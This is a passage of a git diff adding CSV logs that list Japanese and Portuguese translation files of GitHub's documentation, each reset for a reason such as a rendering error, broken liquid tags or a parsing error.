+translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,broken liquid tags +translations/ja-JP/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md,broken liquid tags +translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md,broken liquid tags +translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,broken liquid tags +translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,rendering error +translations/ja-JP/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,rendering error +translations/ja-JP/content/get-started/learning-about-github/about-github-advanced-security.md,Listed in localization-support#489 +translations/ja-JP/content/get-started/learning-about-github/about-github-advanced-security.md,parsing error +translations/ja-JP/content/get-started/quickstart/create-a-repo.md,rendering error +translations/ja-JP/content/get-started/quickstart/git-and-github-learning-resources.md,broken liquid tags +translations/ja-JP/content/get-started/using-git/about-git.md,rendering error +translations/ja-JP/content/get-started/using-git/getting-changes-from-a-remote-repository.md,rendering error +translations/ja-JP/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,rendering error +translations/ja-JP/content/get-started/using-github/github-for-mobile.md,broken liquid tags +translations/ja-JP/content/get-started/using-github/keyboard-shortcuts.md,rendering error +translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md,rendering error +translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace.md,broken liquid tags +translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md,rendering error +translations/ja-JP/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md,broken liquid tags +translations/ja-JP/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md,broken liquid tags +translations/ja-JP/content/github/working-with-github-support/github-enterprise-cloud-support.md,broken liquid tags +translations/ja-JP/content/github/working-with-github-support/submitting-a-ticket.md,broken liquid tags +translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md,broken liquid tags +translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error +translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error +translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error +translations/ja-JP/content/graphql/guides/index.md,rendering error +translations/ja-JP/content/graphql/guides/migrating-graphql-global-node-ids.md,rendering error +translations/ja-JP/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md,broken liquid tags +translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,rendering error +translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,rendering error +translations/ja-JP/content/organizations/collaborating-with-your-team/about-team-discussions.md,Listed in localization-support#489 +translations/ja-JP/content/organizations/collaborating-with-your-team/about-team-discussions.md,rendering error +translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,Listed in localization-support#489 +translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,rendering error +translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md,rendering error +translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,rendering error +translations/ja-JP/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,broken liquid tags +translations/ja-JP/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,rendering error +translations/ja-JP/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md,rendering error +translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md,rendering error +translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md,rendering error +translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,rendering error +translations/ja-JP/content/organizations/organizing-members-into-teams/about-teams.md,broken liquid tags +translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,rendering error +translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md,rendering error +translations/ja-JP/content/packages/learn-github-packages/deleting-a-package.md,broken liquid tags +translations/ja-JP/content/packages/learn-github-packages/installing-a-package.md,broken liquid tags +translations/ja-JP/content/packages/learn-github-packages/introduction-to-github-packages.md,broken liquid tags +translations/ja-JP/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,broken liquid tags +translations/ja-JP/content/packages/quickstart.md,broken liquid tags +translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,broken liquid tags +translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,broken liquid tags +translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,broken liquid tags +translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,broken liquid tags +translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,broken liquid tags +translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,broken liquid tags +translations/ja-JP/content/pages/getting-started-with-github-pages/about-github-pages.md,rendering error +translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md,broken liquid tags +translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,broken liquid tags +translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md,broken liquid tags +translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,rendering error +translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,broken liquid tags +translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,rendering error +translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,rendering error +translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,rendering error +translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,rendering error +translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,rendering error +translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md,rendering error +translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,rendering error +translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,rendering error +translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md,rendering error +translations/ja-JP/content/repositories/creating-and-managing-repositories/about-repositories.md,rendering error +translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md,rendering error +translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md,rendering error +translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,rendering error +translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md,rendering error +translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md,rendering error +translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md,broken liquid tags +translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,rendering error +translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,rendering error +translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,rendering error +translations/ja-JP/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,broken liquid tags +translations/ja-JP/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md,broken liquid tags +translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md,broken liquid tags +translations/ja-JP/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md,broken liquid tags +translations/ja-JP/content/rest/guides/discovering-resources-for-a-user.md,rendering error +translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md,rendering error +translations/ja-JP/content/rest/overview/api-previews.md,rendering error +translations/ja-JP/content/rest/reference/activity.md,broken liquid tags +translations/ja-JP/content/rest/reference/enterprise-admin.md,broken liquid tags +translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md,rendering error +translations/ja-JP/content/rest/reference/repos.md,rendering error +translations/ja-JP/content/rest/reference/search.md,rendering error +translations/ja-JP/content/rest/reference/secret-scanning.md,rendering error +translations/ja-JP/content/rest/reference/teams.md,rendering error +translations/ja-JP/content/search-github/searching-on-github/searching-commits.md,rendering error +translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md,rendering error +translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md,rendering error +translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,rendering error +translations/ja-JP/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md,broken liquid tags +translations/ja-JP/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md,broken liquid tags +translations/ja-JP/data/release-notes/enterprise-server/2-20/15.yml,Listed in localization-support#489 +translations/ja-JP/data/release-notes/enterprise-server/2-21/6.yml,Listed in localization-support#489 +translations/ja-JP/data/reusables/enterprise-accounts/hooks-tab.md,Listed in localization-support#489 +translations/ja-JP/data/reusables/enterprise-accounts/hooks-tab.md,parsing error +translations/ja-JP/data/reusables/enterprise-accounts/messages-tab.md,Listed in localization-support#489 +translations/ja-JP/data/reusables/enterprise-accounts/messages-tab.md,parsing error +translations/ja-JP/data/reusables/gated-features/code-scanning.md,Listed in localization-support#489 +translations/ja-JP/data/reusables/package_registry/public-or-private-packages.md,Listed in localization-support#489 diff --git a/translations/log/pt-resets.csv b/translations/log/pt-resets.csv new file mode 100644 index 0000000000..1ff8babf21 --- /dev/null +++ b/translations/log/pt-resets.csv @@ -0,0 +1,278 @@ +file,reason +translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,rendering error +translations/pt-BR/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,rendering error +translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,rendering error +translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,rendering error +translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,rendering error +translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,rendering error +translations/pt-BR/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md,rendering error +translations/pt-BR/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,rendering error +translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md,rendering error +translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-python.md,rendering error +translations/pt-BR/content/actions/creating-actions/creating-a-javascript-action.md,rendering error +translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,rendering error +translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,rendering error +translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md,rendering error +translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,rendering error +translations/pt-BR/content/actions/guides.md,rendering error +translations/pt-BR/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,rendering error +translations/pt-BR/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,Listed in localization-support#489 +translations/pt-BR/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,rendering error +translations/pt-BR/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,rendering error +translations/pt-BR/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,rendering error +translations/pt-BR/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md,rendering error +translations/pt-BR/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,Listed in localization-support#489 +translations/pt-BR/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,rendering error +translations/pt-BR/content/actions/learn-github-actions/expressions.md,rendering error +translations/pt-BR/content/actions/learn-github-actions/managing-complex-workflows.md,Listed in localization-support#489 +translations/pt-BR/content/actions/learn-github-actions/managing-complex-workflows.md,rendering error +translations/pt-BR/content/actions/learn-github-actions/reusing-workflows.md,rendering error +translations/pt-BR/content/actions/learn-github-actions/understanding-github-actions.md,rendering error +translations/pt-BR/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error +translations/pt-BR/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error +translations/pt-BR/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error +translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error +translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error +translations/pt-BR/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md,rendering error +translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,rendering error +translations/pt-BR/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md,rendering error +translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,rendering error +translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,rendering error +translations/pt-BR/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md,rendering error +translations/pt-BR/content/admin/configuration/configuring-network-settings/network-ports.md,rendering error +translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md,rendering error +translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,rendering error +translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,rendering error +translations/pt-BR/content/admin/configuration/configuring-your-enterprise/index.md,rendering error +translations/pt-BR/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,rendering error +translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,rendering error +translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,rendering error +translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,rendering error +translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,rendering error +translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,rendering error +translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error +translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,rendering error +translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error +translations/pt-BR/content/admin/enterprise-support/overview/about-github-enterprise-support.md,rendering error +translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,rendering error +translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,rendering error +translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,rendering error +translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,rendering error +translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,rendering error +translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md,rendering error +translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md,rendering error +translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,rendering error +translations/pt-BR/content/admin/github-actions/index.md,rendering error +translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,rendering error +translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,rendering error +translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error +translations/pt-BR/content/admin/guides.md,rendering error +translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,rendering error +translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,rendering error +translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,rendering error +translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,rendering error +translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,rendering error +translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md,rendering error +translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md,rendering error +translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,rendering error +translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,rendering error +translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-commits.md,rendering error +translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md,rendering error +translations/pt-BR/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md,Listed in localization-support#489 +translations/pt-BR/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md,rendering error +translations/pt-BR/content/billing/index.md,rendering error +translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,rendering error +translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md,rendering error +translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md,rendering error +translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md,rendering error +translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,rendering error +translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,rendering error +translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,rendering error +translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,rendering error +translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,rendering error +translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,rendering error +translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,rendering error +translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md,rendering error +translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,rendering error +translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md,rendering error +translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,rendering error +translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,rendering error +translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,rendering error +translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md,rendering error +translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md,rendering error +translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,rendering error +translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,rendering error +translations/pt-BR/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,rendering error +translations/pt-BR/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,rendering error +translations/pt-BR/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,rendering error +translations/pt-BR/content/codespaces/customizing-your-codespace/index.md,rendering error +translations/pt-BR/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md,rendering error +translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,rendering error +translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,rendering error +translations/pt-BR/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,rendering error +translations/pt-BR/content/codespaces/developing-in-codespaces/creating-a-codespace.md,rendering error +translations/pt-BR/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,rendering error +translations/pt-BR/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,rendering error +translations/pt-BR/content/codespaces/developing-in-codespaces/index.md,rendering error +translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,rendering error +translations/pt-BR/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,rendering error +translations/pt-BR/content/codespaces/getting-started/deep-dive.md,rendering error +translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,rendering error +translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,rendering error +translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,rendering error +translations/pt-BR/content/codespaces/managing-your-codespaces/index.md,rendering error +translations/pt-BR/content/codespaces/overview.md,rendering error +translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md,rendering error +translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/index.md,rendering error +translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,rendering error +translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,rendering error +translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,rendering error +translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md,rendering error +translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,rendering error +translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md,rendering error +translations/pt-BR/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md,rendering error +translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md,rendering error +translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md,rendering error +translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md,rendering error +translations/pt-BR/content/developers/apps/building-github-apps/authenticating-with-github-apps.md,rendering error +translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md,rendering error +translations/pt-BR/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md,rendering error +translations/pt-BR/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md,rendering error +translations/pt-BR/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md,rendering error +translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,rendering error +translations/pt-BR/content/developers/apps/getting-started-with-apps/about-apps.md,rendering error +translations/pt-BR/content/developers/apps/guides/index.md,rendering error +translations/pt-BR/content/developers/apps/guides/using-content-attachments.md,rendering error +translations/pt-BR/content/developers/overview/managing-deploy-keys.md,rendering error +translations/pt-BR/content/developers/webhooks-and-events/events/issue-event-types.md,rendering error +translations/pt-BR/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md,rendering error +translations/pt-BR/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md,rendering error +translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md,rendering error +translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md,rendering error +translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,rendering error +translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,rendering error +translations/pt-BR/content/get-started/getting-started-with-git/about-remote-repositories.md,rendering error +translations/pt-BR/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,rendering error +translations/pt-BR/content/get-started/getting-started-with-git/ignoring-files.md,rendering error +translations/pt-BR/content/get-started/getting-started-with-git/managing-remote-repositories.md,rendering error +translations/pt-BR/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,rendering error +translations/pt-BR/content/get-started/learning-about-github/about-github-advanced-security.md,rendering error +translations/pt-BR/content/get-started/learning-about-github/access-permissions-on-github.md,rendering error +translations/pt-BR/content/get-started/learning-about-github/types-of-github-accounts.md,rendering error +translations/pt-BR/content/get-started/onboarding/getting-started-with-github-ae.md,rendering error +translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,rendering error +translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-server.md,rendering error +translations/pt-BR/content/get-started/onboarding/getting-started-with-github-team.md,rendering error +translations/pt-BR/content/get-started/onboarding/getting-started-with-your-github-account.md,rendering error +translations/pt-BR/content/get-started/quickstart/contributing-to-projects.md,rendering error +translations/pt-BR/content/get-started/quickstart/create-a-repo.md,rendering error +translations/pt-BR/content/get-started/quickstart/fork-a-repo.md,rendering error +translations/pt-BR/content/get-started/quickstart/git-and-github-learning-resources.md,rendering error +translations/pt-BR/content/get-started/quickstart/hello-world.md,rendering error +translations/pt-BR/content/get-started/quickstart/set-up-git.md,rendering error +translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md,rendering error +translations/pt-BR/content/get-started/signing-up-for-github/verifying-your-email-address.md,rendering error +translations/pt-BR/content/get-started/using-git/about-git.md,rendering error +translations/pt-BR/content/get-started/using-git/getting-changes-from-a-remote-repository.md,rendering error +translations/pt-BR/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,rendering error +translations/pt-BR/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md,rendering error +translations/pt-BR/content/get-started/using-github/github-command-palette.md,rendering error +translations/pt-BR/content/get-started/using-github/github-for-mobile.md,rendering error +translations/pt-BR/content/get-started/using-github/keyboard-shortcuts.md,rendering error +translations/pt-BR/content/github-cli/github-cli/creating-github-cli-extensions.md,rendering error +translations/pt-BR/content/github/copilot/index.md,rendering error +translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md,rendering error +translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md,rendering error +translations/pt-BR/content/github/extending-github/about-webhooks.md,rendering error +translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md,rendering error +translations/pt-BR/content/github/index.md,Listed in localization-support#489 +translations/pt-BR/content/github/index.md,rendering error +translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error 